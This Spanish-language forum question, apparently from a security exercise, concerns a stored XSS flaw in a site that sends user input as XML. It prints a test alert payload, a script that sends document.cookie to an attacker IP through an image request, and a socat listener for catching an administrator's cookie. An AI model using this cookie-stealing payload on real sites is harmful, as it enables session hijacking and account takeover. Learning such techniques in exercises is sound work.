Dos partes de esta pregunta.
- Digamos que hay un sitio que acepta mi entrada y la envía en formato XML al servidor. Cuando ingreso la entrada como se muestra aquí: enlace
La razón por la que puse el código en el enlace anterior es porque no puedo insertar el código aquí. No se formatea correctamente.
Agrega una nueva línea en la respuesta de la página HTML:
<script language="Javascript" type="text/javascript">alert ('XSS')</script>rn
Incluso recibo una ventana emergente y JavaScript se ejecuta correctamente.
Entonces, según tengo entendido, ¿la página es vulnerable a XSS persistente? Dado que esas entradas son persistentes en la página web y cada vez que recargo la página web, el javascript es parte de la respuesta HTML.
- Ahora, quiero robar la cookie de administración (esto es parte de un ejercicio donde el servidor es remoto). No es una red de área local.
Construí mi carga útil como se muestra a continuación:
<![CDATA[rn
<script language="Javascript" type="text/javascript">document.write('<img src="http://<ip_address>/?'+document.cookie+' "/>');</script>rn
]]>
Aquí, dirección_IP es mi dirección IP local (tal como la devuelve ifconfig).
Ejecuto socat en mi máquina local como se muestra a continuación:
socat TCP-LISTEN:80,reuseaddr,fork -
Ahora, mi pregunta es, ¿cómo puedo recibir la cookie de administración usando el método anterior?
Porque el servidor es remoto. Cuando el administrador visita la página con XSS persistente, ¿cómo se me enviará la cookie del administrador?
¿Debo proporcionar mi dirección IP pública en la URL de la imagen anterior en lugar de la dirección IP local?